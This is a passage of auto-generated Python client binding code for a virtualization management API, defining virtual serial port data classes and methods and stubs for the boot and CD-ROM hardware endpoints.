'proxy': type.OptionalType(type.URIType()),
},
BackingSpec,
False,
None))
class Info(VapiStruct):
"""
The ``Serial.Info`` class contains information about a virtual serial port.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
label=None,
yield_on_poll=None,
backing=None,
state=None,
start_connected=None,
allow_guest_control=None,
):
"""
:type label: :class:`str`
:param label: Device label.
:type yield_on_poll: :class:`bool`
:param yield_on_poll: CPU yield behavior. If set to true, the virtual machine will
periodically relinquish the processor if its sole task is polling
the virtual serial port. The amount of time it takes to regain the
processor will depend on the degree of other virtual machine
activity on the host.
:type backing: :class:`Serial.BackingInfo`
:param backing: Physical resource backing for the virtual serial port.
:type state: :class:`ConnectionState`
:param state: Connection status of the virtual device.
:type start_connected: :class:`bool`
:param start_connected: Flag indicating whether the virtual device should be connected
whenever the virtual machine is powered on.
:type allow_guest_control: :class:`bool`
:param allow_guest_control: Flag indicating whether the guest can connect and disconnect the
device.
"""
self.label = label
self.yield_on_poll = yield_on_poll
self.backing = backing
self.state = state
self.start_connected = start_connected
self.allow_guest_control = allow_guest_control
VapiStruct.__init__(self)
Info._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.serial.info', {
'label': type.StringType(),
'yield_on_poll': type.BooleanType(),
'backing': type.ReferenceType(__name__, 'Serial.BackingInfo'),
'state': type.ReferenceType(__name__, 'ConnectionState'),
'start_connected': type.BooleanType(),
'allow_guest_control': type.BooleanType(),
},
Info,
False,
None))
class CreateSpec(VapiStruct):
"""
The ``Serial.CreateSpec`` class provides a specification for the
configuration of a newly-created virtual serial port.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
yield_on_poll=None,
backing=None,
start_connected=None,
allow_guest_control=None,
):
"""
:type yield_on_poll: :class:`bool` or ``None``
:param yield_on_poll: CPU yield behavior. If set to true, the virtual machine will
periodically relinquish the processor if its sole task is polling
the virtual serial port. The amount of time it takes to regain the
processor will depend on the degree of other virtual machine
activity on the host.
If None, defaults to false.
:type backing: :class:`Serial.BackingSpec` or ``None``
:param backing: Physical resource backing for the virtual serial port.
If None, defaults to automatic detection of a suitable host device.
:type start_connected: :class:`bool` or ``None``
:param start_connected: Flag indicating whether the virtual device should be connected
whenever the virtual machine is powered on.
Defaults to false if None.
:type allow_guest_control: :class:`bool` or ``None``
:param allow_guest_control: Flag indicating whether the guest can connect and disconnect the
device.
Defaults to false if None.
"""
self.yield_on_poll = yield_on_poll
self.backing = backing
self.start_connected = start_connected
self.allow_guest_control = allow_guest_control
VapiStruct.__init__(self)
CreateSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.serial.create_spec', {
'yield_on_poll': type.OptionalType(type.BooleanType()),
'backing': type.OptionalType(type.ReferenceType(__name__, 'Serial.BackingSpec')),
'start_connected': type.OptionalType(type.BooleanType()),
'allow_guest_control': type.OptionalType(type.BooleanType()),
},
CreateSpec,
False,
None))
class UpdateSpec(VapiStruct):
"""
The ``Serial.UpdateSpec`` class describes the updates to be made to the
configuration of a virtual serial port.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
yield_on_poll=None,
backing=None,
start_connected=None,
allow_guest_control=None,
):
"""
:type yield_on_poll: :class:`bool` or ``None``
:param yield_on_poll: CPU yield behavior. If set to true, the virtual machine will
periodically relinquish the processor if its sole task is polling
the virtual serial port. The amount of time it takes to regain the
processor will depend on the degree of other virtual machine
activity on the host.
This attribute may be modified at any time, and changes applied to
a connected virtual serial port take effect immediately.
If None, the value is unchanged.
:type backing: :class:`Serial.BackingSpec` or ``None``
:param backing: Physical resource backing for the virtual serial port.
This attribute may only be modified if the virtual machine is not
powered on or the virtual serial port is not connected.
If None, the value is unchanged.
:type start_connected: :class:`bool` or ``None``
:param start_connected: Flag indicating whether the virtual device should be connected
whenever the virtual machine is powered on.
If None, the value is unchanged.
:type allow_guest_control: :class:`bool` or ``None``
:param allow_guest_control: Flag indicating whether the guest can connect and disconnect the
device.
If None, the value is unchanged.
"""
self.yield_on_poll = yield_on_poll
self.backing = backing
self.start_connected = start_connected
self.allow_guest_control = allow_guest_control
VapiStruct.__init__(self)
UpdateSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.serial.update_spec', {
'yield_on_poll': type.OptionalType(type.BooleanType()),
'backing': type.OptionalType(type.ReferenceType(__name__, 'Serial.BackingSpec')),
'start_connected': type.OptionalType(type.BooleanType()),
'allow_guest_control': type.OptionalType(type.BooleanType()),
},
UpdateSpec,
False,
None))
class Summary(VapiStruct):
"""
The ``Serial.Summary`` class contains commonly used information about a
virtual serial port.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
port=None,
):
"""
:type port: :class:`str`
:param port: Identifier of the virtual serial port.
When clients pass a value of this class as a parameter, the
attribute must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.SerialPort``. When methods return
a value of this class as a return value, the attribute will be an
identifier for the resource type:
``com.vmware.vcenter.vm.hardware.SerialPort``.
"""
self.port = port
VapiStruct.__init__(self)
Summary._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.serial.summary', {
'port': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.SerialPort'),
},
Summary,
False,
None))
def list(self,
vm,
):
"""
Returns commonly used information about the virtual serial ports
belonging to the virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:rtype: :class:`list` of :class:`Serial.Summary`
:return: List of commonly used information about virtual serial ports.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('list',
{
'vm': vm,
})
def get(self,
vm,
port,
):
"""
Returns information about a virtual serial port.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type port: :class:`str`
:param port: Virtual serial port identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.SerialPort``.
:rtype: :class:`Serial.Info`
:return: Information about the specified virtual serial port.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual serial port is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('get',
{
'vm': vm,
'port': port,
})
def create(self,
vm,
spec,
):
"""
Adds a virtual serial port to the virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type spec: :class:`Serial.CreateSpec`
:param spec: Specification for the new virtual serial port.
:rtype: :class:`str`
:return: Virtual serial port identifier.
The return value will be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.SerialPort``.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reported that the serial port device was created but
was unable to confirm the creation because the identifier of the
new device could not be determined.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if the virtual machine is not powered off.
:raise: :class:`com.vmware.vapi.std.errors_client.UnableToAllocateResource`
if the virtual machine already has the maximum number of supported
serial ports.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('create',
{
'vm': vm,
'spec': spec,
})
def update(self,
vm,
port,
spec,
):
"""
Updates the configuration of a virtual serial port.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type port: :class:`str`
:param port: Virtual serial port identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.SerialPort``.
:type spec: :class:`Serial.UpdateSpec`
:param spec: Specification for updating the virtual serial port.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual serial port is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if one or more of the attributes specified in the ``spec``
parameter cannot be modified due to the current power state of the
virtual machine or the connection state of the virtual serial port.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('update',
{
'vm': vm,
'port': port,
'spec': spec,
})
def delete(self,
vm,
port,
):
"""
Removes a virtual serial port from the virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type port: :class:`str`
:param port: Virtual serial port identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.SerialPort``.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual serial port is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if the virtual machine is not powered off.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('delete',
{
'vm': vm,
'port': port,
})
def connect(self,
vm,
port,
):
"""
Connects a virtual serial port of a powered-on virtual machine to its
backing. Connecting the virtual device makes the backing accessible
from the perspective of the guest operating system.
For a powered-off virtual machine, the :func:`Serial.update` method may
be used to configure the virtual serial port to start in the connected
state when the virtual machine is powered on.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type port: :class:`str`
:param port: Virtual serial port identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.SerialPort``.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual serial port is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.AlreadyInDesiredState`
if the virtual serial port is already connected.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if the virtual machine is not powered on.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('connect',
{
'vm': vm,
'port': port,
})
def disconnect(self,
vm,
port,
):
"""
Disconnects a virtual serial port of a powered-on virtual machine from
its backing. The virtual device is still present and its backing
configuration is unchanged, but from the perspective of the guest
operating system, the serial port is not connected to its backing.
For a powered-off virtual machine, the :func:`Serial.update` method may
be used to configure the virtual serial port to start in the
disconnected state when the virtual machine is powered on.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type port: :class:`str`
:param port: Virtual serial port identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.SerialPort``.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual serial port is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.AlreadyInDesiredState`
if the virtual serial port is already disconnected.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if the virtual machine is not powered on.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('disconnect',
{
'vm': vm,
'port': port,
})
class _BootStub(ApiInterfaceStub):
def __init__(self, config):
# properties for get operation
get_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
})
get_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
get_input_value_validator_list = [
]
get_output_validator_list = [
]
get_rest_metadata = OperationRestMetadata(
http_method='GET',
url_template='/vcenter/vm/{vm}/hardware/boot',
path_variables={
'vm': 'vm',
},
query_parameters={
}
)
# properties for update operation
update_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'spec': type.ReferenceType(__name__, 'Boot.UpdateSpec'),
})
update_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.invalid_argument':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'InvalidArgument'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
update_input_value_validator_list = [
]
update_output_validator_list = [
]
update_rest_metadata = OperationRestMetadata(
http_method='PATCH',
url_template='/vcenter/vm/{vm}/hardware/boot',
path_variables={
'vm': 'vm',
},
query_parameters={
}
)
operations = {
'get': {
'input_type': get_input_type,
'output_type': type.ReferenceType(__name__, 'Boot.Info'),
'errors': get_error_dict,
'input_value_validator_list': get_input_value_validator_list,
'output_validator_list': get_output_validator_list,
'task_type': TaskType.NONE,
},
'update': {
'input_type': update_input_type,
'output_type': type.VoidType(),
'errors': update_error_dict,
'input_value_validator_list': update_input_value_validator_list,
'output_validator_list': update_output_validator_list,
'task_type': TaskType.NONE,
},
}
rest_metadata = {
'get': get_rest_metadata,
'update': update_rest_metadata,
}
ApiInterfaceStub.__init__(
self, iface_name='com.vmware.vcenter.vm.hardware.boot',
config=config, operations=operations, rest_metadata=rest_metadata,
is_vapi_rest=True)
class _CdromStub(ApiInterfaceStub):
def __init__(self, config):
# properties for list operation
list_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
})
list_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
list_input_value_validator_list = [
]
list_output_validator_list = [
]
list_rest_metadata = OperationRestMetadata(
http_method='GET',
url_template='/vcenter/vm/{vm}/hardware/cdrom',
path_variables={
'vm': 'vm',
},
query_parameters={
}
)
# properties for get operation
get_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'cdrom': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.Cdrom'),
})
get_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
get_input_value_validator_list = [
]
get_output_validator_list = [
]
get_rest_metadata = OperationRestMetadata(
http_method='GET',
url_template='/vcenter/vm/{vm}/hardware/cdrom/{cdrom}',
path_variables={
'vm': 'vm',
'cdrom': 'cdrom',
},
query_parameters={
}
)
# properties for create operation
create_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'spec': type.ReferenceType(__name__, 'Cdrom.CreateSpec'),
})
create_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.unable_to_allocate_resource':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'UnableToAllocateResource'),
'com.vmware.vapi.std.errors.resource_in_use':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInUse'),
'com.vmware.vapi.std.errors.invalid_argument':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'InvalidArgument'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
'com.vmware.vapi.std.errors.unsupported':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unsupported'),
}
create_input_value_validator_list = [
]
create_output_validator_list = [
]
create_rest_metadata = OperationRestMetadata(
http_method='POST',
url_template='/vcenter/vm/{vm}/hardware/cdrom',
path_variables={
'vm': 'vm',
},
query_parameters={
}
)
# properties for update operation
update_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'cdrom': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.Cdrom'),
'spec': type.ReferenceType(__name__, 'Cdrom.UpdateSpec'),
})
update_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
update_input_value_validator_list = [
]
update_output_validator_list = [
]
update_rest_metadata = OperationRestMetadata(
http_method='PATCH',
url_template='/vcenter/vm/{vm}/hardware/cdrom/{cdrom}',
path_variables={
'vm': 'vm',
'cdrom': 'cdrom',
},
query_parameters={
}
)
# properties for delete operation
delete_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'cdrom': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.Cdrom'),
})
delete_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
delete_input_value_validator_list = [
]
delete_output_validator_list = [
]
delete_rest_metadata = OperationRestMetadata(
http_method='DELETE',
url_template='/vcenter/vm/{vm}/hardware/cdrom/{cdrom}',
path_variables={
'vm': 'vm',
'cdrom': 'cdrom',
},
query_parameters={
}
)
# properties for connect operation
connect_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'cdrom': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.Cdrom'),
})
connect_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.already_in_desired_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'AlreadyInDesiredState'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
connect_input_value_validator_list = [
]
connect_output_validator_list = [
]
connect_rest_metadata = OperationRestMetadata(
http_method='POST',
url_template='/vcenter/vm/{vm}/hardware/cdrom/{cdrom}/connect',
path_variables={
'vm': 'vm',
'cdrom': 'cdrom',
},
query_parameters={
}
)
# properties for disconnect operation
disconnect_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'cdrom': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.Cdrom'),
})
disconnect_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.already_in_desired_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'AlreadyInDesiredState'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
disconnect_input_value_validator_list = [
]
disconnect_output_validator_list = [
]
disconnect_rest_metadata = OperationRestMetadata(
http_method='POST',
url_template='/vcenter/vm/{vm}/hardware/cdrom/{cdrom}/disconnect',
path_variables={
'vm': 'vm',
'cdrom': 'cdrom',
},
query_parameters={
}
)
operations = {
'list': {
'input_type': list_input_type,
'output_type': type.ListType(type.ReferenceType(__name__, 'Cdrom.Summary')),
'errors': list_error_dict,
'input_value_validator_list': list_input_value_validator_list,
'output_validator_list': list_output_validator_list,
'task_type': TaskType.NONE,
},
'get': {
'input_type': get_input_type,
'output_type': type.ReferenceType(__name__, 'Cdrom.Info'),
'errors': get_error_dict,
'input_value_validator_list': get_input_value_validator_list,
'output_validator_list': get_output_validator_list,
'task_type': TaskType.NONE,
},
'create': {
'input_type': create_input_type,
'output_type': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.Cdrom'),
'errors': create_error_dict,
'input_value_validator_list': create_input_value_validator_list,
'output_validator_list': create_output_validator_list,
'task_type': TaskType.NONE,
},
'update': {
'input_type': update_input_type,
'output_type': type.VoidType(),
'errors': update_error_dict,
'input_value_validator_list': update_input_value_validator_list,
'output_validator_list': update_output_validator_list,
'task_type': TaskType.NONE,
},
'delete': {
'input_type': delete_input_type,
'output_type': type.VoidType(),
'errors': delete_error_dict,
'input_value_validator_list': delete_input_value_validator_list,
'output_validator_list': delete_output_validator_list,
'task_type': TaskType.NONE,
},
'connect': {
'input_type': connect_input_type,
'output_type': type.VoidType(),
'errors': connect_error_dict,
'input_value_validator_list': connect_input_value_validator_list,
'output_validator_list': connect_output_validator_list,
'task_type': TaskType.NONE,
},
'disconnect': {
'input_type': disconnect_input_type,
'output_type': type.VoidType(),
'errors': disconnect_error_dict,
'input_value_validator_list': disconnect_input_value_validator_list,
'output_validator_list': disconnect_output_validator_list,
'task_type': TaskType.NONE,
},
}
rest_metadata = {
'list': list_rest_metadata,
'get': get_rest_metadata,
'create': create_rest_metadata,
'update': update_rest_metadata,
'delete': delete_rest_metadata,
